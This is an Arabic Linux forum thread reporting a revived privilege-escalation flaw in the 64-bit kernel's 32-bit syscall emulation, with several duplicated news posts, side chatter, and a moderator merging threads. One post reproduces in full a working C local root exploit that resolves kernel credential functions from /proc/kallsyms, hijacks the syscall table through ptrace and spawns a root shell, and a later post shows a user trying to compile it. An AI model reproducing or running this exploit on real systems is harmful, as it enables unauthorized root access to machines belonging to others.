إعـــــــلان

تقليص
لا يوجد إعلان حتى الآن.

ثغرة في نواة لينكس تعطيك صلاحيات المدير

تقليص
X
 
  • تصفية - فلترة
  • الوقت
  • عرض
إلغاء تحديد الكل
مشاركات جديدة

  • ثغرة في نواة لينكس تعطيك صلاحيات المدير


    عادت ثغرة أمنية في نظام محاكاة برامج 32-بت الخاص بنواة لينكس تسمح للمخترق بالحصول على صلاحيات المدير في العودة إلى الظهور مرة آخرى بعد ان تم إغلاقها في 2007.
    المشكلة التي تصيب أنظمة 64-بت في لينكس تسمح للمخرتقين بتنفيذ شفرة بنظام 32-بت في النظام متجاوزة أنظمة التحقق الأمنية لتسمح لك بالحصول على صلاحيات المستخدم، وهذه ليس أول مرة يتم فيها الكشف عن هذه الثغرة فقد سبق بالفعل أن تم معالجتها في العام 2007 ولكن فريق تطوير النواة أزال الشفرة التي تقوم بإغلاق هذه الثغرة في وقت لاحق لسبب غير معروف.
    إصلاح هذه الثغرة قد تم بالفعل على النسخة الجديدة من نواة لينكس وقد يستغرق الأمر أياما قبل أن تقوم بقية التوزيعات بِإطلاق تحديث لأنظمته لإغلاق هذه الثغرة، وفي حالة كنت تخاف من هذه الثغرة بإمكانك نظام محاكاة 32-بت لحين حل المشكلة.
    المصدر:تيدوز
    أخبار ومقالات وشروحات المصادر المفتوحة بالعربية: لينكس اليوم
    مقالات عالية الجودة عن نظام لينكس والبرمجيات الحرّة بالإنجليزية: FOSS Post
    مدونتي الشخصية: محمد هاني صباغ


  • #2
    بسم الله الرحمن الرحيم

    يبدو أنهم يستخدمونها للعودة إلى مستوى التشغيل الأول حيث لا فضل لروت على مستخدم عادي ،
    http://www.linuxac.org/forum/showthr...%A1&highlight=
    (لَا تَحْسَبَنَّ الَّذِينَ يَفْرَحُونَ بِمَا أَتَوا وَّيُحِبُّونَ أَن يُحْمَدُوا بِمَا لَمْ يَفْعَلُوا فَلَا تَحْسَبَنَّهُم بِمَفَازَةٍ مِّنَ الْعَذَابِ وَلَهُمْ عَذَابٌ أَلِيمٌ)
    آل عمران 188
    قال رسول الله صلى الله عليه و سلم :
    {لا يشكر الله من لا يشكر الناس}
    {من كان يؤمن بالله واليوم الآخر،فليقل خيراً أو ليصمت}

    جميع المساهمات الحاملة لهذا التوقيع تخضع لرخصة وقف
    أسأل الله العظيم رب العرش العظيم أن يحسن من حال أمتي

    تعليق


    • #3
      ثغرة في نظام محاكاة 32 بت في الكيرنل تصيب أنظمة 64 بت وتسمح للوصول لصلاحيات الروت



      ^^

      بطريقنا مثقوب القلب


      عادت ثغرة أمنية في نظام محاكاة برامج 32-بت الخاص بنواة لينكس تسمح للمخترق بالحصول على صلاحيات المدير في العودة إلى الظهور مرة آخرى بعد ان تم إغلاقها في 2007.
      المشكلة التي تصيب أنظمة 64-بت في لينكس تسمح للمخترقين بتنفيذ شفرة بنظام 32-بت في النظام متجاوزة أنظمة التحقق الأمنية لتسمح لك بالحصول على صلاحيات المستخدم، وهذه ليس أول مرة يتم فيها الكشف عن هذه الثغرة فقد سبق بالفعل أن تم معالجتها في العام 2007 ولكن فريق تطوير النواة أزال الشفرة التي تقوم بإغلاق هذه الثغرة في وقت لاحق لسبب غير معروف.
      إصلاح هذه الثغرة قد تم بالفعل على النسخة الجديدة من نواة لينكس الرسمية، وقد يستغرق الأمر أياما قبل أن تقوم بقية الشركات بِإطلاق تحديث لتوزيعاتها المختلفة لإغلاق هذه الثغرة، وفي حالة كنت تخاف من هذه الثغرة بإمكانك إغلاق نظام محاكاة 32-بت لحين حل المشكلة.
      [ The H ]
      المصدر : http://www.teedoz.com/2010/%D8%AB%D8%BA%D8%B1%D8%A9-%D9%81%D9%8A-%D9%86%D9%88%D8%A7%D8%A9-%D9%84%D9%8A%D9%86%D9%83%D8%B3-%D8%AA%D8%B9%D8%B7%D9%8A%D9%83-%D8%B5%D9%84%D8%A7%D8%AD%D9%8A%D8%A7%D8%AA-%D8%A7%D9%84%D9%85%D8%AF%D9%8A/


      الإستغلال
      : http://sota.gen.nz/compat2/robert_you_suck.c
      مكتوب بـ C
      :

      كود:
      /*
       * exploit for x86_64 linux kernel ia32syscall emulation (again)
       *    rediscovered by ben hawkes
       *    with help from robert swiecki and tavis ormandy
       *
       * original vulnerability discovered by Wojciech Purczynski
       *
       * original exploit by
       *     Robert Swiecki <robert_at_swiecki.net>
       *     Przemyslaw Frasunek <venglin_at_freebsd.lublin.pl>
       *     Pawel Pisarczyk <pawel_at_immos.com.pl>
       * 
       * kernel priv escalation code borrowed from spender
       *
       */
       
      #include <sys/types.h>
      #include <sys/wait.h>
      #include <sys/ptrace.h>
      #include <inttypes.h>
      #include <sys/reg.h>
      #include <unistd.h>
      #include <stdio.h>
      #include <stdlib.h>
      #include <sys/mman.h>
      #include <string.h>
      
      typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
      typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
      _commit_creds commit_creds;
      _prepare_kernel_cred prepare_kernel_cred;
      
      int kernelmodecode(void *file, void *vma)
      {
          commit_creds(prepare_kernel_cred(0));
          return -1;
      }
      
      unsigned long
      get_symbol(char *name)
      {
          FILE *f;
          unsigned long addr;
          char dummy;
          char sname[512];
          int ret = 0, oldstyle = 0;
      
          f = fopen("/proc/kallsyms", "r");
          if (f == NULL) {
              f = fopen("/proc/ksyms", "r");
              if (f == NULL)
                  return 0;
              oldstyle = 1;
          }
      
          while (ret != EOF) {
              if (!oldstyle) {
                  ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
              } else {
                  ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
                  if (ret == 2) {
                      char *p;
                      if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
                          continue;
                      }
                      p = strrchr(sname, '_');
                      if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
                          p = p - 4;
                          while (p > (char *)sname && *(p - 1) == '_') {
                              p--;
                          }
                          *p = '\0';
                      }
                  }
              }
              if (ret == 0) {
                  fscanf(f, "%s\n", sname);
                  continue;
              }
              if (!strcmp(name, sname)) {
                  printf("resolved symbol %s to %p\n", name, (void *) addr);
                  fclose(f);
                  return addr;
              }
          }
          fclose(f);
      
          return 0;
      }
      
       
      static void docall(uint64_t *ptr, uint64_t size)
      {
          commit_creds = (_commit_creds) get_symbol("commit_creds");
          if (!commit_creds) {
              printf("symbol table not available, aborting!\n");
              exit(1);
          }
      
          prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
          if (!prepare_kernel_cred) {
              printf("symbol table not available, aborting!\n");
              exit(1);
          }
      
              uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);
      
          printf("mapping at %lx\n", tmp); 
      
              if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
                      MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
                      printf("mmap fault\n");
                      exit(1);
              }
       
              for (; (uint64_t) ptr < (tmp + size); ptr++)
                      *ptr = (uint64_t)kernelmodecode;
       
              __asm__("\n"
              "\tmovq $0x101, %rax\n"
              "\tint $0x80\n");
       
              printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
              execl("/bin/sh", "bin/sh", NULL);
              printf("no /bin/sh ??\n");
              exit(0);
      }
       
      int main(int argc, char **argv)
      {
              int pid, status, set = 0;
              uint64_t rax;
              uint64_t kern_s = 0xffffffff80000000;
              uint64_t kern_e = 0xffffffff84000000;
              uint64_t off = 0x0000000800000101 * 8;
       
              if (argc == 4) {
                      docall((uint64_t*)(kern_s + off), kern_e - kern_s);
                      exit(0);
              }
       
              if ((pid = fork()) == 0) {
                      ptrace(PTRACE_TRACEME, 0, 0, 0);
                      execl(argv[0], argv[0], "2", "3", "4", NULL);
                      perror("exec fault");
                      exit(1);
              }
       
              if (pid == -1) {
                      printf("fork fault\n");
                      exit(1);
              }
       
              for (;;) {
                      if (wait(&status) != pid)
                              continue;
       
                      if (WIFEXITED(status)) {
                              printf("Process finished\n");
                              break;
                      }
       
                      if (!WIFSTOPPED(status))
                              continue;
       
                      if (WSTOPSIG(status) != SIGTRAP) {
                              printf("Process received signal: %d\n", WSTOPSIG(status));
                              break;
                      }
       
                      rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
                      if (rax == 0x000000000101) {
                              if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
                                      printf("PTRACE_POKEUSER fault\n");
                                      exit(1);
                              }
                              set = 1;
                          //rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
                      }
       
                      if ((rax == 11) && set) {
                              ptrace(PTRACE_DETACH, pid, 0, 0);
                              for(;;)
                                      sleep(10000);
                      }
       
                      if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
                              printf("PTRACE_SYSCALL fault\n");
                              exit(1);
                      }
              }
       
              return 0;
      }
      كتب مفيدة : كتاب لينكس الشامل | دليل المستخدم العربي في أوامر لينكس | مخطوطتك الأولى (script) في الشيل | أوبنتو ببساطة

      تعليق


      • #4
        عااادي جداً ..

        تم ترقيعها !

        http://www.neowin.net/forum/uploads/...8183701915.png
        تابع أخبار المصادر المفتوحة على لينكس اليوم

        تعليق


        • #5
          ليس بغريب !
          متى تم رقع القلب ؟

          إصلاح هذه الثغرة قد تم بالفعل على النسخة الجديدة من نواة لينكس الرسمية

          الله يهديهم ... أخبار ثغرات اللينكس تصبح بدون قيمة بسرعة البرق

          كتب مفيدة : كتاب لينكس الشامل | دليل المستخدم العربي في أوامر لينكس | مخطوطتك الأولى (script) في الشيل | أوبنتو ببساطة

          تعليق


          • #6
            عادت ثغرة أمنية في نظام محاكاة برامج 32-بت الخاص بنواة لينكس تسمح للمخترق بالحصول على صلاحيات المدير في العودة إلى الظهور مرة آخرى بعد ان تم إغلاقها في 2007.
            المشكلة التي تصيب أنظمة 64-بت في لينكس تسمح للمخرتقين بتنفيذ شفرة بنظام 32-بت في النظام متجاوزة أنظمة التحقق الأمنية لتسمح لك بالحصول على صلاحيات المستخدم، وهذه ليس أول مرة يتم فيها الكشف عن هذه الثغرة فقد سبق بالفعل أن تم معالجتها في العام 2007 ولكن فريق تطوير النواة أزال الشفرة التي تقوم بإغلاق هذه الثغرة في وقت لاحق لسبب غير معروف.
            إصلاح هذه الثغرة قد تم بالفعل على النسخة الجديدة من نواة لينكس وقد يستغرق الأمر أياما قبل أن تقوم بقية التوزيعات بِإطلاق تحديث لأنظمته لإغلاق هذه الثغرة، وفي حالة كنت تخاف من هذه الثغرة بإمكانك نظام محاكاة 32-بت لحين حل المشكلة.
            المصدر:تيدوز
            الرابط
            •°o.O islamux O.o°•
            أنا إن عشت لنفسي عشت حقيرًهزيلا :::ومهما تعلمت لا أزال جهولا
            "يَوْمَ تَجِدُ كُلُّ نَفْسٍ مَا عَمِلَتْ مِنْ خَيْرٍ مُحْضَرا..الايه(آل عمران:30)

            *****
            إذَا لَمْ تَسْتَطِعْ شيئًا فدَعْهُ = وجاوِزْهُ إلى مَا تَستَطِيعُ
            تلميح اليوم

            FreeBSD في كبسولة !
            لا يطلب العلم مستحي ولا مستكبر
            اللهم اجعل عملنا خالصا لوجهك الكريم.
            فان تجد عيبا فسدَ الخللا ****** جلَ من لا عيب فيه وعلا
            كل مشاركاتي في المجتمع وقف لله تعالى
            Tweeter

            تعليق


            • #7
              بإمكانك نظام محاكاة 32-بت لحين حل المشكلة.
              ماذا تقصد بنظام محاكاة ؟ ( VBox ) ؟

              تعليق


              • #8
                ماذا تقصد بنظام محاكاة ؟
                هي ميزة تشغيل تطبيقات 32بت على 64بت اومايسمى بطبقة المحاكاة.
                أخبار ومقالات وشروحات المصادر المفتوحة بالعربية: لينكس اليوم
                مقالات عالية الجودة عن نظام لينكس والبرمجيات الحرّة بالإنجليزية: FOSS Post
                مدونتي الشخصية: محمد هاني صباغ

                تعليق


                • #9
                  عودة أخرى .................... لخبر تغرة صلاحيات المدير في نواة لينوكس

                  بسم الله الرحمن الرحيم

                  السلام عليكم و رحمة الله و بركاته

                  اليكم نص الخبر

                  ************************************




                  عادت ثغرة أمنية في نظام محاكاة برامج 32-بت الخاص بنواة لينكس تسمح للمخترق بالحصول على صلاحيات المدير في العودة إلى الظهور مرة آخرى بعد ان تم إغلاقها في 2007.
                  المشكلة التي تصيب أنظمة 64-بت في لينكس تسمح للمخترقين بتنفيذ شفرة بنظام 32-بت في النظام متجاوزة أنظمة التحقق الأمنية لتسمح لك بالحصول على صلاحيات المستخدم، وهذه ليس أول مرة يتم فيها الكشف عن هذه الثغرة فقد سبق بالفعل أن تم معالجتها في العام 2007 ولكن فريق تطوير النواة أزال الشفرة التي تقوم بإغلاق هذه الثغرة في وقت لاحق لسبب غير معروف.
                  إصلاح هذه الثغرة قد تم بالفعل على النسخة الجديدة من نواة لينكس الرسمية، وقد يستغرق الأمر أياما قبل أن تقوم بقية الشركات بِإطلاق تحديث لتوزيعاتها المختلفة لإغلاق هذه الثغرة، وفي حالة كنت تخاف من هذه الثغرة بإمكانك إغلاق نظام محاكاة 32-بت لحين حل المشكلة.


                  ************************************

                  مصدر الخبر العربي


                  http://www.teedoz.com/2010/%D8%AB%D8...8A/#more-14747



                  مصدر الخبر الاجنبي


                  http://www.h-online.com/security/new...e-1081317.html

                  ************************************

                  تعليق

                  حسب ظني فإني اجد المشكلة هنا مشكلة الانظمة ذات البنية المعمارية X64

                  ولكن الخبر يتحدث عن المحاكاة

                  ياترى هل هذا ايضا مرتبط بالبيئات الجديدة X128 وغيرها عند محاكاة برامج X32

                  ام ان معمارية X32 معرضة ايضا لهذه المشكلة


                  ************************************

                  وفق الله الجميع لما يحب و يرضى

                  و السلام عليكم و رحمة الله و بركاته

                  << وصية الشنقيطي لكل مبتلي ومهموم - مقطع سيغير حالك >><< من هو الله - مترجم بيد الفقير إلى ربه نسأل الله له كل خير>>

                  Who is the Almighty Allah HD / Hope Calling All Believers HD

                  هدية مني لكم

                  حفظكم الله من كل سوء و مكروه

                  و أنار قلبي و قلوبكم .... و قادنا سوية نحو صراطه المستقيم ... و أبعدني و إياكم عن كل سوء يخل بإيماننا

                  استودعكم الله الذي لا تضيع ودائعه ... و السلام عليكم و رحمة الله و بركاته

                  تعليق


                  • #10
                    شكرا اخي ولكني سبق ان قمت بكتابة الخبر!!؟
                    http://www.linuxac.org/forum/showthr...E1%E3%CF%ED%D1
                    أخبار ومقالات وشروحات المصادر المفتوحة بالعربية: لينكس اليوم
                    مقالات عالية الجودة عن نظام لينكس والبرمجيات الحرّة بالإنجليزية: FOSS Post
                    مدونتي الشخصية: محمد هاني صباغ

                    تعليق


                    • #11
                      وشكرا لكلاكما ... فقد سبقتكم بالخبر :

                      http://www.linuxac.org/forum/showthr...C7%E1%D1%E6%CA


                      بطني يؤلمني من شدة ماضحكت .. الموقف طرريف جدا
                      كتب مفيدة : كتاب لينكس الشامل | دليل المستخدم العربي في أوامر لينكس | مخطوطتك الأولى (script) في الشيل | أوبنتو ببساطة

                      تعليق


                      • #12


                        أنتم الثلاثة كتبتم نفس الخبر
                        تابع أخبار المصادر المفتوحة على لينكس اليوم

                        تعليق


                        • #13
                          وشكرا لكلاكما ... فقد سبقتكم بالخبر
                          ماذا؟؟انا من قمت بوضع الخبر اوﻻ!
                          أخبار ومقالات وشروحات المصادر المفتوحة بالعربية: لينكس اليوم
                          مقالات عالية الجودة عن نظام لينكس والبرمجيات الحرّة بالإنجليزية: FOSS Post
                          مدونتي الشخصية: محمد هاني صباغ

                          تعليق


                          • #14
                            السلام عليكم ورحمة الله وبركاته
                            فضلا التقيد بمحتوى الموضوع أثناء المناقشة
                            على كلن تم دمج المواضيع الثلاثة في موضوع واحد

                            شاكرة مجهوداتكم إخواني لإثراء منتدى مجتمع اللينكس العربي
                            تحياتي للجميـع

                            إعلم أخي أنه لا يوجد سر للنجاح. إنما النجاح نتيجة التنظيم، العمل الجاد و التعلم من الأخطاء.


                            تعليق


                            • #15
                              لم تعمل
                              كود:
                              [email protected]:~$ gcc -o exploit.out robert_you_suck.c
                              robert_you_suck.c: In function ‘docall’:
                               robert_you_suck.c:106: warning: cast from pointer to integer of different size
                               robert_you_suck.c:108: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘uint64_t’
                               robert_you_suck.c:110: warning: cast to pointer from integer of different size
                               robert_you_suck.c:116: warning: cast from pointer to integer of different size
                               robert_you_suck.c:117: warning: cast from pointer to integer of different size
                              robert_you_suck.c: In function ‘main’:
                               robert_you_suck.c:133: warning: integer constant is too large for ‘long’ type
                               robert_you_suck.c:134: warning: integer constant is too large for ‘long’ type
                               robert_you_suck.c:135: warning: integer constant is too large for ‘long’ type
                               robert_you_suck.c:138: warning: cast to pointer from integer of different size
                               robert_you_suck.c:171: error: ‘ORIG_RAX’ undeclared (first use in this function)
                               robert_you_suck.c:171: error: (Each undeclared identifier is reported only once
                               robert_you_suck.c:171: error: for each function it appears in.)
                              شكرا لكم
                              Linux Ubuntu User No. 847518
                              الموت حق وكل نفس تذوقه ... مير البلا من ذاق موته ولا مات
                              ربــآه ~ » أمآت الحُـبُ عشـآقـاً " وحُـبُـكَ { أنـْتَ } أحـْيانـِْي

                              تعليق

                              يعمل...
                              X